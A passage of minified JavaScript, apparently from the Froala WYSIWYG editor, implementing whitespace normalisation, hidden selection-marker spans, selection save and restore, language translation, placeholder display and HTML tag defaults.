d="",f=0;f<a.length;f++)32!=a.charCodeAt(f)||0!==f&&32!=d.charCodeAt(f-1)||e.nodeType===Node.TEXT_NODE&&"SPAN"===o.tagName&&o.parentNode&&0<=c.indexOf(o.parentNode.tagName)&&(0<=c.indexOf(s)||0<=c.indexOf(l))||!((p.opts.enter===kt.ENTER_BR||p.opts.enter===kt.ENTER_DIV)&&(n&&"BR"===n.tagName||r&&"BR"===r.tagName)||n&&r&&n.tagName===r.tagName||!(n&&r&&p.node.isVoid(n)||n&&r&&p.node.isVoid(r))||n&&r&&0<=["STRONG","U","EM"].indexOf(n.tagName)&&"BR"===r.tagName)?d+=a[f]:d+=kt.UNICODE_NBSP;p.browser.chrome&&1<d.length&&32===d.charCodeAt(d.length-1)&&(r&&r.nextSibling&&r.nextSibling.nextSibling&&"BR"===r.nextSibling.nextSibling.tagName||r&&"BR"===r.tagName)&&(d=d.substring(0,d.length-1)+kt.UNICODE_NBSP),!(!r||r&&p.node.isBlock(r)||r&&r.nodeType===Node.ELEMENT_NODE&&p.win.getComputedStyle(r)&&"block"===p.win.getComputedStyle(r).display)||e.nodeType===Node.TEXT_NODE&&"SPAN"===o.tagName&&o.parentNode&&0<=c.indexOf(o.parentNode.tagName)&&(0<=c.indexOf(s)||0<=c.indexOf(l))||(!p.node.isVoid(n)||n&&-1!==["P","DIV","BR"].indexOf(n.tagName)&&-1!==i.indexOf(p.opts.enter))&&(d=d.replace(/ $/,kt.UNICODE_NBSP)),!n||p.node.isVoid(n)||p.node.isBlock(n)||1!==(d=d.replace(/^\u00A0([^ $])/," $1")).length||160!==d.charCodeAt(0)||!r||p.node.isVoid(r)||p.node.isBlock(r)||p.node.hasClass(n,"fr-marker")&&p.node.hasClass(r,"fr-marker")||(d=" "),t||(d=d.replace(/([^ \u00A0])\u00A0([^ \u00A0])/g,"$1 $2")),e.textContent!==d&&(e.textContent=d)}}function l(e,t){if(void 0!==e&&e||(e=p.el),void 0===t&&(t=!1),!e.getAttribute||"false"!==e.getAttribute("contenteditable"))if(e.nodeType===Node.TEXT_NODE)r(e,t);else if(e.nodeType===Node.ELEMENT_NODE)for(var n=p.doc.createTreeWalker(e,NodeFilter.SHOW_TEXT,p.node.filter(function(e){for(var t=e.parentNode;t&&t!==p.el;){if("STYLE"===t.tagName||"IFRAME"===t.tagName)return!1;if("PRE"===t.tagName)return!1;t=t.parentNode}return null!==e.textContent.match(/([ \u00A0\f\n\r\t\v]{2,})|(^[ \u00A0\f\n\r\t\v]{1,})|([ \u00A0\f\n\r\t\v]{1,}$)/g)&&!p.node.hasClass(e.parentNode,"fr-marker")}),!1);n.nextNode();)r(n.currentNode,t)}return{normalize:l,normalizeAroundCursor:function c(){for(var e=[],t=p.el.querySelectorAll(".fr-marker"),n=0;n<t.length;n++){for(var r=null,a=p.node.blockParent(t[n]),o=(r=a||t[n]).nextSibling,i=r.previousSibling;o&&"BR"===o.tagName;)o=o.nextSibling;for(;i&&"BR"===i.tagName;)i=i.previousSibling;r&&e.indexOf(r)<0&&e.push(r),i&&e.indexOf(i)<0&&e.push(i),o&&e.indexOf(o)<0&&e.push(o)}for(var s=0;s<e.length;s++)l(e[s])}}},kt.INVISIBLE_SPACE="​",kt.HAIR_SPACE=" ",kt.START_MARKER='<span class="fr-marker" data-id="0" data-type="true" style="display: none; line-height: 0;">'.concat(kt.INVISIBLE_SPACE,"</span>"),kt.END_MARKER='<span class="fr-marker" data-id="0" data-type="false" style="display: none; line-height: 0;">'.concat(kt.INVISIBLE_SPACE,"</span>"),kt.MARKERS=kt.START_MARKER+kt.END_MARKER,kt.MODULES.markers=function(d){var f=d.$;function l(){if(!d.$wp)return null;try{var e=d.selection.ranges(0),t=e.commonAncestorContainer;if(t!==d.el&&!d.$el.contains(t))return null;var n=e.cloneRange(),r=e.cloneRange();n.collapse(!0);var a=f(d.doc.createElement("SPAN")).addClass("fr-marker").attr("style","display: none; line-height: 0;").html(kt.INVISIBLE_SPACE).get(0);if(n.insertNode(a),a=d.$el.find("span.fr-marker").get(0)){for(var o=a.nextSibling;o&&o.nodeType===Node.TEXT_NODE&&0===o.textContent.length;)f(o).remove(),o=d.$el.find("span.fr-marker").get(0).nextSibling;return d.selection.clear(),d.selection.get().addRange(r),a}return null}catch(i){}}function c(){d.$el.find(".fr-marker").remove()}return{place:function p(e,t,n){var r,a,o;try{var i=e.cloneRange();if(i.collapse(t),i.insertNode(function l(e,t){var n=f(d.doc.createElement("SPAN"));return n.addClass("fr-marker").attr("data-id",t).attr("data-type",e).attr("style","display: ".concat(d.browser.safari?"none":"inline-block","; line-height: 0;")).html(kt.INVISIBLE_SPACE),n.get(0)}(t,n)),!0===t)for(o=(r=d.$el.find('span.fr-marker[data-type="true"][data-id="'.concat(n,'"]')).get(0)).nextSibling;o&&o.nodeType===Node.TEXT_NODE&&0===o.textContent.length;)f(o).remove(),o=r.nextSibling;if(!0===t&&!e.collapsed){for(;!d.node.isElement(r.parentNode)&&!o;)-1</\bfa\b/g.test(r.parentNode.className)&&"I"===r.parentNode.tagName?f(r.parentNode).before(r):f(r.parentNode).after(r),o=r.nextSibling;if(o&&o.nodeType===Node.ELEMENT_NODE&&d.node.isBlock(o)&&"HR"!==o.tagName){for(a=[o];o=a[0],(a=d.node.contents(o))[0]&&d.node.isBlock(a[0]););f(o).prepend(f(r))}}if(!1===t&&!e.collapsed){if((o=(r=d.$el.find('span.fr-marker[data-type="false"][data-id="'.concat(n,'"]')).get(0)).previousSibling)&&o.nodeType===Node.ELEMENT_NODE&&d.node.isBlock(o)&&"HR"!==o.tagName){for(a=[o];o=a[a.length-1],(a=d.node.contents(o))[a.length-1]&&d.node.isBlock(a[a.length-1]););f(o).append(f(r))}(r.parentNode&&0<=["TD","TH"].indexOf(r.parentNode.tagName)||!r.previousSibling&&d.node.isBlock(r.parentElement))&&(r.parentNode.previousSibling&&!r.previousSibling?f(r.parentNode.previousSibling).append(r):0<=["TD","TH"].indexOf(r.parentNode.tagName)&&r.parentNode.firstChild===r&&(r.parentNode.previousSibling?f(r.parentNode.previousSibling).append(r):r.parentNode.parentNode&&r.parentNode.parentNode.previousSibling&&f(r.parentNode.parentNode.previousSibling).append(r)))}var s=d.$el.find('span.fr-marker[data-type="'.concat(t,'"][data-id="').concat(n,'"]')).get(0);return s&&(s.style.display="none"),s}catch(c){return null}},insert:l,split:function i(){d.selection.isCollapsed()||d.selection.remove();var e=d.$el.find(".fr-marker").get(0);if(e||(e=l()),!e)return null;var t=d.node.deepestParent(e);if(t||(t=d.node.blockParent(e))&&"LI"!==t.tagName&&(t=null),t)if(d.node.isBlock(t)&&d.node.isEmpty(t))"LI"!==t.tagName||t.parentNode.firstElementChild!==t||d.node.isEmpty(t.parentNode)?f(t).replaceWith('<span class="fr-marker"></span>'):f(t).append('<span class="fr-marker"></span>');else if(d.cursor.isAtStart(e,t))f(t).before('<span class="fr-marker"></span>'),f(e).remove();else if(d.cursor.isAtEnd(e,t))f(t).after('<span class="fr-marker"></span>'),f(e).remove();else if("true"!==t.contentEditable){for(var n=e,r="",a="";n=n.parentNode,r+=d.node.closeTagString(n),a=d.node.openTagString(n)+a,n!==t;);f(e).replaceWith('<span id="fr-break"></span>');var o=d.node.openTagString(t)+f(t).html()+d.node.closeTagString(t);o=o.replace(/<span id="fr-break"><\/span>/g,"".concat(r,'<span class="fr-marker"></span>').concat(a)),f(t).replaceWith(o)}return d.$el.find(".fr-marker").get(0)},insertAtPoint:function u(e){var t,n=e.clientX,r=e.clientY;c();var a=null;if("undefined"!=typeof d.doc.caretPositionFromPoint?(t=d.doc.caretPositionFromPoint(n,r),(a=d.doc.createRange()).setStart(t.offsetNode,t.offset),a.setEnd(t.offsetNode,t.offset)):"undefined"!=typeof d.doc.caretRangeFromPoint&&(t=d.doc.caretRangeFromPoint(n,r),(a=d.doc.createRange()).setStart(t.startContainer,t.startOffset),a.setEnd(t.startContainer,t.startOffset)),null!==a&&"undefined"!=typeof d.win.getSelection){var o=d.win.getSelection();o.removeAllRanges(),o.addRange(a)}else if("undefined"!=typeof d.doc.body.createTextRange)try{(a=d.doc.body.createTextRange()).moveToPoint(n,r);var i=a.duplicate();i.moveToPoint(n,r),a.setEndPoint("EndToEnd",i),a.select()}catch(s){return!1}l()},remove:c}},kt.MODULES.selection=function(y){var L=y.$;function s(){var e="";return y.win.getSelection?e=y.win.getSelection():y.doc.getSelection?e=y.doc.getSelection():y.doc.selection&&(e=y.doc.selection.createRange().text),e.toString()}function E(){return y.win.getSelection?y.win.getSelection():y.doc.getSelection?y.doc.getSelection():y.doc.selection.createRange()}function p(e){var t=E(),n=[];if(t&&t.getRangeAt&&t.rangeCount){n=[];for(var r=0;r<t.rangeCount;r++)n.push(t.getRangeAt(r))}else n=y.doc.createRange?[y.doc.createRange()]:[];return void 0!==e?n[e]:n}function T(){var e=E();try{e.removeAllRanges?e.removeAllRanges():e.empty?e.empty():e.clear&&e.clear()}catch(t){}}function u(e,t){var n=e;return n.nodeType===Node.ELEMENT_NODE&&0<n.childNodes.length&&n.childNodes[t]&&(n=n.childNodes[t]),n.nodeType===Node.TEXT_NODE&&(n=n.parentNode),n}function w(){if(y.$wp){y.markers.remove();var e,t,n=p(),r=[];for(t=0;t<n.length;t++)if(n[t].startContainer!==y.doc||y.browser.msie){var a=(e=n[t]).collapsed,o=y.markers.place(e,!0,t),i=y.markers.place(e,!1,t);if(void 0!==o&&o||!a||(L(".fr-marker").remove(),y.selection.setAtEnd(y.el)),y.el.normalize(),y.browser.safari&&!a)try{(e=y.doc.createRange()).setStartAfter(o),e.setEndBefore(i),r.push(e)}catch(s){}}if(y.browser.safari&&r.length)for(y.selection.clear(),t=0;t<r.length;t++)y.selection.get().addRange(r[t])}}function A(){var e,t=y.el.querySelectorAll('.fr-marker[data-type="true"]');if(!y.$wp)return y.markers.remove(),!1;if(0===t.length)return!1;if(y.browser.msie||y.browser.edge)for(e=0;e<t.length;e++)t[e].style.display="inline-block";y.core.hasFocus()||y.browser.msie||y.browser.webkit||y.$el.focus(),T();var n=E();for(e=0;e<t.length;e++){var r=L(t[e]).data("id"),a=t[e],o=y.doc.createRange(),i=y.$el.find('.fr-marker[data-type="false"][data-id="'.concat(r,'"]'));(y.browser.msie||y.browser.edge)&&i.css("display","inline-block");var s=null;if(0<i.length){i=i[0];try{for(var l=!1,c=a.nextSibling,d=null;c&&c.nodeType===Node.TEXT_NODE&&0===c.textContent.length;)c=(d=c).nextSibling,L(d).remove();for(var f=i.nextSibling;f&&f.nodeType===Node.TEXT_NODE&&0===f.textContent.length;)f=(d=f).nextSibling,L(d).remove();if(a.nextSibling===i||i.nextSibling===a){for(var p=a.nextSibling===i?a:i,u=p===a?i:a,h=p.previousSibling;h&&h.nodeType===Node.TEXT_NODE&&0===h.length;)h=(d=h).previousSibling,L(d).remove();if(h&&h.nodeType===Node.TEXT_NODE)for(;h&&h.previousSibling&&h.previousSibling.nodeType===Node.TEXT_NODE;)h.previousSibling.textContent+=h.textContent,h=h.previousSibling,L(h.nextSibling).remove();for(var g=u.nextSibling;g&&g.nodeType===Node.TEXT_NODE&&0===g.length;)g=(d=g).nextSibling,L(d).remove();if(g&&g.nodeType===Node.TEXT_NODE)for(;g&&g.nextSibling&&g.nextSibling.nodeType===Node.TEXT_NODE;)g.nextSibling.textContent=g.textContent+g.nextSibling.textContent,g=g.nextSibling,L(g.previousSibling).remove();if(h&&(y.node.isVoid(h)||y.node.isBlock(h))&&(h=null),g&&(y.node.isVoid(g)||y.node.isBlock(g))&&(g=null),h&&g&&h.nodeType===Node.TEXT_NODE&&g.nodeType===Node.TEXT_NODE){L(a).remove(),L(i).remove();var m=h.textContent.length;h.textContent+=g.textContent,L(g).remove(),y.spaces.normalize(h),o.setStart(h,m),o.setEnd(h,m),l=!0}else!h&&g&&g.nodeType===Node.TEXT_NODE?(L(a).remove(),L(i).remove(),y.opts.htmlUntouched||y.spaces.normalize(g),s=L(y.doc.createTextNode("\u200b")).get(0),L(g).before(s),o.setStart(g,0),o.setEnd(g,0),l=!0):!g&&h&&h.nodeType===Node.TEXT_NODE&&(L(a).remove(),L(i).remove(),y.opts.htmlUntouched||y.spaces.normalize(h),s=L(y.doc.createTextNode("\u200b")).get(0),L(h).after(s),o.setStart(h,h.textContent.length),o.setEnd(h,h.textContent.length),l=!0)}if(!l){var v=void 0,b=void 0;b=(y.browser.chrome||y.browser.edge)&&a.nextSibling===i?(v=_(i,o,!0)||o.setStartAfter(i),_(a,o,!1)||o.setEndBefore(a)):(a.previousSibling===i&&(i=(a=i).nextSibling),i.nextSibling&&"BR"===i.nextSibling.tagName||!i.nextSibling&&y.node.isBlock(a.previousSibling)||a.previousSibling&&"BR"===a.previousSibling.tagName||(a.style.display="inline",i.style.display="inline",s=L(y.doc.createTextNode("\u200b")).get(0)),v=_(a,o,!0)||L(a).before(s)&&o.setStartBefore(a),_(i,o,!1)||L(i).after(s)&&o.setEndAfter(i)),"function"==typeof v&&v(),"function"==typeof b&&b()}}catch(C){}}s&&L(s).remove();try{n.addRange(o)}catch(C){}}y.markers.remove()}function _(e,t,n){var r,a=e.previousSibling,o=e.nextSibling;return a&&o&&a.nodeType===Node.TEXT_NODE&&o.nodeType===Node.TEXT_NODE?(r=a.textContent.length,n?(o.textContent=a.textContent+o.textContent,L(a).remove(),L(e).remove(),y.opts.htmlUntouched||y.spaces.normalize(o),function(){t.setStart(o,r)}):(a.textContent+=o.textContent,L(o).remove(),L(e).remove(),y.opts.htmlUntouched||y.spaces.normalize(a),function(){t.setEnd(a,r)})):a&&!o&&a.nodeType===Node.TEXT_NODE?(r=a.textContent.length,n?(y.opts.htmlUntouched||y.spaces.normalize(a),function(){t.setStart(a,r)}):(y.opts.htmlUntouched||y.spaces.normalize(a),function(){t.setEnd(a,r)})):!(!o||a||o.nodeType!==Node.TEXT_NODE)&&(n?(y.opts.htmlUntouched||y.spaces.normalize(o),function(){t.setStart(o,0)}):(y.opts.htmlUntouched||y.spaces.normalize(o),function(){t.setEnd(o,0)}))}function S(){for(var e=p(),t=0;t<e.length;t++)if(!e[t].collapsed)return!1;return!0}function a(e){var t,n,r=!1,a=!1;if(y.win.getSelection){var o=y.win.getSelection();o.rangeCount&&((n=(t=o.getRangeAt(0)).cloneRange()).selectNodeContents(e),n.setEnd(t.startContainer,t.startOffset),r=i(n),n.selectNodeContents(e),n.setStart(t.endContainer,t.endOffset),a=i(n))}else y.doc.selection&&"Control"!==y.doc.selection.type&&((n=(t=y.doc.selection.createRange()).duplicate()).moveToElementText(e),n.setEndPoint("EndToStart",t),r=i(n),n.moveToElementText(e),n.setEndPoint("StartToEnd",t),a=i(n));return{atStart:r,atEnd:a}}function i(e){return""===e.toString().replace(/[\u200B-\u200D\uFEFF]/g,"")}function k(e,t){void 0===t&&(t=!0);var n=L(e).html();n&&n.replace(/\u200b/g,"").length!==n.length&&L(e).html(n.replace(/\u200b/g,""));for(var r=y.node.contents(e),a=0;a<r.length;a++)r[a].nodeType!==Node.ELEMENT_NODE?L(r[a]).remove():(k(r[a],0===a),0===a&&(t=!1));if(e.nodeType===Node.TEXT_NODE){var o=L(document.createElement("span")).attr("data-first","true").attr("data-text","true");L(e)[0].replaceWith(o[0])}else t&&L(e).attr("data-first",!0)}function x(){return 0===L(this).find("fr-inner").length}function h(){try{if(!y.$wp)return!1;for(var e=p(0).commonAncestorContainer;e&&!y.node.isElement(e);)e=e.parentNode;return!!y.node.isElement(e)}catch(t){return!1}}function r(e,t){if(!e||0<e.getElementsByClassName("fr-marker").length)return!1;for(var n=e.firstChild;n&&(y.node.isBlock(n)||t&&!y.node.isVoid(n)&&n.nodeType===Node.ELEMENT_NODE);)n=(e=n).firstChild;e.innerHTML=kt.MARKERS+e.innerHTML}function o(e,t){if(!e||0<e.getElementsByClassName("fr-marker").length)return!1;for(var n=e.lastChild;n&&(y.node.isBlock(n)||t&&!y.node.isVoid(n)&&n.nodeType===Node.ELEMENT_NODE);)n=(e=n).lastChild;var r=y.doc.createElement("SPAN");for(r.setAttribute("id","fr-sel-markers"),r.innerHTML=kt.MARKERS;e.parentNode&&y.opts.htmlAllowedEmptyTags&&0<=y.opts.htmlAllowedEmptyTags.indexOf(e.tagName.toLowerCase());)e=e.parentNode;e.appendChild(r);var a=e.querySelector("#fr-sel-markers");a.outerHTML=a.innerHTML}return{text:s,get:E,ranges:p,clear:T,element:function l(){var e=E();try{if(e.rangeCount){var t,n=p(0),r=n.startContainer;if(y.node.isElement(r)&&0===n.startOffset&&r.childNodes.length)for(;r.childNodes.length&&r.childNodes[0].nodeType===Node.ELEMENT_NODE;)r=r.childNodes[0];if(r.nodeType===Node.TEXT_NODE&&n.startOffset===(r.textContent||"").length&&r.nextSibling&&(r=r.nextSibling),r.nodeType===Node.ELEMENT_NODE){var a=!1;if(y.node.isElement(r)&&""==r.textContent&&"IMG"==r.childNodes[0].tagName&&r.childNodes.length)for(;r.childNodes.length&&r.childNodes[0].nodeType===Node.ELEMENT_NODE;)r=r.childNodes[0];if(0<r.childNodes.length&&r.childNodes[n.startOffset]){for(t=r.childNodes[n.startOffset];t&&t.nodeType===Node.TEXT_NODE&&0===t.textContent.length;)t=t.nextSibling;if(t&&t.textContent.replace(/\u200B/g,"")===s().replace(/\u200B/g,"")&&(r=t,a=!0),!a&&1<r.childNodes.length&&0<n.startOffset&&r.childNodes[n.startOffset-1]){for(t=r.childNodes[n.startOffset-1];t&&t.nodeType===Node.TEXT_NODE&&0===t.textContent.length;)t=t.nextSibling;t&&t.textContent.replace(/\u200B/g,"")===s().replace(/\u200B/g,"")&&(r=t,a=!0)}}else!n.collapsed&&r.nextSibling&&r.nextSibling.nodeType===Node.ELEMENT_NODE&&(t=r.nextSibling)&&t.textContent.replace(/\u200B/g,"")===s().replace(/\u200B/g,"")&&(r=t,a=!0);!a&&0<r.childNodes.length&&L(r.childNodes[0]).text().replace(/\u200B/g,"")===s().replace(/\u200B/g,"")&&["BR","IMG","HR"].indexOf(r.childNodes[0].tagName)<0&&(r=r.childNodes[0])}for(;r.nodeType!==Node.ELEMENT_NODE&&r.parentNode;)r=r.parentNode;for(var o=r;o&&"HTML"!==o.tagName;){if(o===y.el)return r;o=L(o).parent()[0]}}}catch(i){}return y.el},endElement:function c(){var e=E();try{if(e.rangeCount){var t,n=p(0),r=n.endContainer;if(r.nodeType===Node.ELEMENT_NODE){var a=!1;0<r.childNodes.length&&r.childNodes[n.endOffset]&&L(r.childNodes[n.endOffset]).text()===s()?(r=r.childNodes[n.endOffset],a=!0):!n.collapsed&&r.previousSibling&&r.previousSibling.nodeType===Node.ELEMENT_NODE?(t=r.previousSibling)&&t.textContent.replace(/\u200B/g,"")===s().replace(/\u200B/g,"")&&(r=t,a=!0):!n.collapsed&&0<r.childNodes.length&&r.childNodes[n.endOffset]&&(t=r.childNodes[n.endOffset].previousSibling).nodeType===Node.ELEMENT_NODE&&t&&t.textContent.replace(/\u200B/g,"")===s().replace(/\u200B/g,"")&&(r=t,a=!0),!a&&0<r.childNodes.length&&L(r.childNodes[r.childNodes.length-1]).text()===s()&&["BR","IMG","HR"].indexOf(r.childNodes[r.childNodes.length-1].tagName)<0&&(r=r.childNodes[r.childNodes.length-1])}for(r.nodeType===Node.TEXT_NODE&&0===n.endOffset&&r.previousSibling&&r.previousSibling.nodeType===Node.ELEMENT_NODE&&(r=r.previousSibling);r.nodeType!==Node.ELEMENT_NODE&&r.parentNode;)r=r.parentNode;for(var o=r;o&&"HTML"!==o.tagName;){if(o===y.el)return r;o=L(o).parent()[0]}}}catch(i){}return y.el},save:w,restore:A,isCollapsed:S,isFull:function d(){if(S())return!1;y.selection.save();var e,t=y.el.querySelectorAll("td, th, img, br, iframe");for(e=0;e<t.length;e++)(t[e].nextSibling||"IMG"===t[e].tagName||"IFRAME"===t[e].tagName)&&(t[e].innerHTML='<span class="fr-mk" style="display: none;"> </span>'.concat(t[e].innerHTML));var n=!1,r=a(y.el);for(r.atStart&&r.atEnd&&(n=!0),t=y.el.querySelectorAll(".fr-mk"),e=0;e<t.length;e++)t[e].parentNode.removeChild(t[e]);return y.selection.restore(),n},inEditor:h,remove:function R(){if(S())return!0;var e;function t(e){for(var t=e.previousSibling;t&&t.nodeType===Node.TEXT_NODE&&0===t.textContent.length;){var n=t;t=t.previousSibling,L(n).remove()}return t}function n(e){for(var t=e.nextSibling;t&&t.nodeType===Node.TEXT_NODE&&0===t.textContent.length;){var n=t;t=t.nextSibling,L(n).remove()}return t}w();var r=y.$el.find('.fr-marker[data-type="true"]');for(e=0;e<r.length;e++)for(var a=r[e];!(t(a)||y.node.isBlock(a.parentNode)||y.$el.is(a.parentNode)||y.node.hasClass(a.parentNode,"fr-inner"));)L(a.parentNode).before(a);var o=y.$el.find('.fr-marker[data-type="false"]');for(e=0;e<o.length;e++){for(var i=o[e];!(n(i)||y.node.isBlock(i.parentNode)||y.$el.is(i.parentNode)||y.node.hasClass(i.parentNode,"fr-inner"));)L(i.parentNode).after(i);i.parentNode&&y.node.isBlock(i.parentNode)&&y.node.isEmpty(i.parentNode)&&!y.$el.is(i.parentNode)&&!y.node.hasClass(i.parentNode,"fr-inner")&&y.opts.keepFormatOnDelete&&L(i.parentNode).after(i)}if(function C(){for(var e=y.$el.find(".fr-marker"),t=0;t<e.length;t++)if(L(e[t]).parentsUntil('.fr-element, [contenteditable="true"]','[contenteditable="false"]').length)return!1;return!0}()){!function E(e,t){var n=y.node.contents(e.get(0));0<=["TD","TH"].indexOf(e.get(0).tagName)&&1===e.find(".fr-marker").length&&(y.node.hasClass(n[0],"fr-marker")||"BR"==n[0].tagName&&y.node.hasClass(n[0].nextElementSibling,"fr-marker"))&&e.attr("data-del-cell",!0);for(var r=0;r<n.length;r++){var a=n[r];y.node.hasClass(a,"fr-marker")?t=(t+1)%2:t?0<L(a).find(".fr-marker").length?t=E(L(a),t):["TD","TH"].indexOf(a.tagName)<0&&!y.node.hasClass(a,"fr-inner")?!y.opts.keepFormatOnDelete||0<y.$el.find("[data-first]").length||y.node.isVoid(a)?L(a).remove():k(a):y.node.hasClass(a,"fr-inner")?0===L(a).find(".fr-inner").length?L(a).html("<br>"):L(a).find(".fr-inner").filter(x).html("<br>"):(L(a).empty(),L(a).attr("data-del-cell",!0)):0<L(a).find(".fr-marker").length&&(t=E(L(a),t))}return t}(y.$el,0);var s=y.$el.find('[data-first="true"]');if(s.length)y.$el.find(".fr-marker").remove(),s.append(kt.INVISIBLE_SPACE+kt.MARKERS).removeAttr("data-first"),s.attr("data-text")&&s.replaceWith(s.html());else for(y.$el.find("table").filter(function(){return 0<L(this).find("[data-del-cell]").length&&L(this).find("[data-del-cell]").length===L(this).find("td, th").length}).remove(),y.$el.find("[data-del-cell]").removeAttr("data-del-cell"),r=y.$el.find('.fr-marker[data-type="true"]'),e=0;e<r.length;e++){var l=r[e],c=l.nextSibling,d=y.$el.find('.fr-marker[data-type="false"][data-id="'.concat(L(l).data("id"),'"]')).get(0);if(d){if(l&&(!c||c!==d)){var f=y.node.blockParent(l),p=y.node.blockParent(d),u=!1,h=!1;if(f&&0<=["UL","OL"].indexOf(f.tagName)&&(u=!(f=null)),p&&0<=["UL","OL"].indexOf(p.tagName)&&(h=!(p=null)),L(l).after(d),f!==p)if(null!==f||u)if(null!==p||h||0!==L(f).parentsUntil(y.$el,"table").length)f&&p&&0===L(f).parentsUntil(y.$el,"table").length&&0===L(p).parentsUntil(y.$el,"table").length&&!L(f).contains(p)&&!L(p).contains(f)&&(L(f).append(L(p).html()),L(p).remove());else{for(c=f;!c.nextSibling&&c.parentNode!==y.el;)c=c.parentNode;for(c=c.nextSibling;c&&"BR"!==c.tagName;){var g=c.nextSibling;L(f).append(c),c=g}c&&"BR"===c.tagName&&L(c).remove()}else{var m=y.node.deepestParent(l);m?(L(m).after(L(p).html()),L(p).remove()):0===L(p).parentsUntil(y.$el,"table").length&&(L(l).next().after(L(p).html()),L(p).remove())}}}else d=L(l).clone().attr("data-type",!1),L(l).after(d)}}y.$el.find("li:empty").remove(),y.opts.keepFormatOnDelete||y.html.fillEmptyBlocks(),y.html.cleanEmptyTags(!0),y.opts.htmlUntouched||(y.clean.lists(),y.$el.find("li:empty").append("<br>"),y.spaces.normalize());var v=y.$el.find(".fr-marker").last().get(0),b=y.$el.find(".fr-marker").first().get(0);void 0!==v&&void 0!==b&&!v.nextSibling&&b.previousSibling&&"BR"===b.previousSibling.tagName&&y.node.isElement(v.parentNode)&&y.node.isElement(b.parentNode)&&y.$el.append("<br>"),A()},blocks:function g(e,t){var n,r,a=[],o=E();if(h()&&o.rangeCount){var i=p();for(n=0;n<i.length;n++){var s=i[n],l=u(s.startContainer,s.startOffset),c=u(s.endContainer,s.endOffset);(r=y.node.blockParent(l))&&a.indexOf(r)<0&&a.push(r),(y.node.isBlock(l)||y.node.hasClass(l,"fr-inner"))&&a.indexOf(l)<0&&a.push(l);for(var d=[],f=l;f!==c&&f!==y.el;)d.indexOf(f)<0&&f.children&&f.children.length?(d.push(f),f=f.children[0]):f.nextSibling?f=f.nextSibling:f.parentNode&&(f=f.parentNode,d.push(f)),y.node.isBlock(f)&&d.indexOf(f)<0&&a.indexOf(f)<0&&(f!==c||0<s.endOffset)&&a.push(f);y.node.isBlock(c)&&a.indexOf(c)<0&&0<s.endOffset&&a.push(c),(r=y.node.blockParent(c))&&a.indexOf(r)<0&&a.push(r)}}for(n=a.length-1;0<n;n--)if(L(a[n-1]).contains(a[n])){if(e&&L(a[n]).find("ul, ol").length)continue;if(t&&"LI"==a[n-1].tagName)continue;a.splice(n-1,1)}else if(L(a[n]).contains(a[n-1])){if(e&&L(a[n]).find("ul, ol").length)continue;a.splice(n,1)}return a},info:a,setAtEnd:o,setAtStart:r,setBefore:function f(e,t){void 0===t&&(t=!0);for(var n=e.previousSibling;n&&n.nodeType===Node.TEXT_NODE&&0===n.textContent.length;)n=n.previousSibling;return n?(y.node.isBlock(n)?o(n):"BR"===n.tagName?L(n).before(kt.MARKERS):L(n).after(kt.MARKERS),!0):!!t&&(y.node.isBlock(e)?r(e):L(e).before(kt.MARKERS),!0)},setAfter:function m(e,t){void 0===t&&(t=!0);for(var n=e.nextSibling;n&&n.nodeType===Node.TEXT_NODE&&0===n.textContent.length;)n=n.nextSibling;return n?(y.node.isBlock(n)?r(n):L(n).before(kt.MARKERS),!0):!!t&&(y.node.isBlock(e)?o(e):L(e).after(kt.MARKERS),!0)},rangeElement:u}},Object.assign(kt.DEFAULTS,{language:null}),kt.LANGUAGE={},kt.MODULES.language=function(e){var t;return{_init:function n(){kt.LANGUAGE&&(t=kt.LANGUAGE[e.opts.language]),t&&t.direction&&(e.opts.direction=t.direction)},translate:function r(e){return t&&t.translation[e]&&t.translation[e].length?t.translation[e]:e}}},Object.assign(kt.DEFAULTS,{placeholderText:"Type something"}),kt.MODULES.placeholder=function(f){var p=f.$;function e(){f.$placeholder||function d(){f.$placeholder=p(f.doc.createElement("SPAN")).addClass("fr-placeholder"),f.$wp.append(f.$placeholder)}();var e=f.opts.iframe?f.$iframe.prev().outerHeight(!0):f.$el.prev().outerHeight(!0),t=0,n=0,r=0,a=0,o=0,i=0,s=f.node.contents(f.el),l=p(f.selection.element()).css("text-align");if(s.length&&s[0].nodeType===Node.ELEMENT_NODE){var c=p(s[0]);(0<f.$wp.prev().length||0<f.$el.prev().length)&&f.ready&&(t=f.helpers.getPX(c.css("margin-top")),a=f.helpers.getPX(c.css("padding-top")),n=f.helpers.getPX(c.css("margin-left")),r=f.helpers.getPX(c.css("margin-right")),o=f.helpers.getPX(c.css("padding-left")),i=f.helpers.getPX(c.css("padding-right"))),f.$placeholder.css("font-size",c.css("font-size")),f.$placeholder.css("line-height",c.css("line-height"))}else f.$placeholder.css("font-size",f.$el.css("font-size")),f.$placeholder.css("line-height",f.$el.css("line-height"));f.$wp.addClass("show-placeholder"),f.$placeholder.css({marginTop:Math.max(f.helpers.getPX(f.$el.css("margin-top")),t)+(e||0),paddingTop:Math.max(f.helpers.getPX(f.$el.css("padding-top")),a),paddingLeft:Math.max(f.helpers.getPX(f.$el.css("padding-left")),o),marginLeft:Math.max(f.helpers.getPX(f.$el.css("margin-left")),n),paddingRight:Math.max(f.helpers.getPX(f.$el.css("padding-right")),i),marginRight:Math.max(f.helpers.getPX(f.$el.css("margin-right")),r),textAlign:l}).text(f.language.translate(f.opts.placeholderText||f.$oel.attr("placeholder")||"")),f.$placeholder.html(f.$placeholder.text().replace(/\n/g,"<br>"))}function t(){f.$wp.removeClass("show-placeholder")}function n(){if(!f.$wp)return!1;f.core.isEmpty()?e():t()}return{_init:function r(){if(!f.$wp)return!1;f.events.on("init input keydown keyup contentChanged initialized",n)},show:e,hide:t,refresh:n,isVisible:function a(){return!f.$wp||f.node.hasClass(f.$wp.get(0),"show-placeholder")}}},kt.UNICODE_NBSP=String.fromCharCode(160),kt.VOID_ELEMENTS=["area","base","br","col","embed","hr","img","input","keygen","link","menuitem","meta","param","source","track","wbr"],kt.BLOCK_TAGS=["address","article","aside","audio","blockquote","canvas","details","dd","div","dl","dt","fieldset","figcaption","figure","footer","form","h1","h2","h3","h4","h5","h6","header","hgroup","hr","li","main","nav","noscript","ol","output","p","pre","section","table","tbody","td","tfoot","th","thead","tr","ul","video"],Object.assign(kt.DEFAULTS,{htmlAllowedEmptyTags:["textarea","a","iframe","object","video","style","script",".fa",".fr-emoticon",".fr-inner","path","line","hr"],htmlDoNotWrapTags:["script","style"],htmlSimpleAmpersand:!1,htmlIgnoreCSSProperties:[],htmlExecuteScripts:!0}),kt.MODULES.html=function(I){var D=I.$;function d(){return 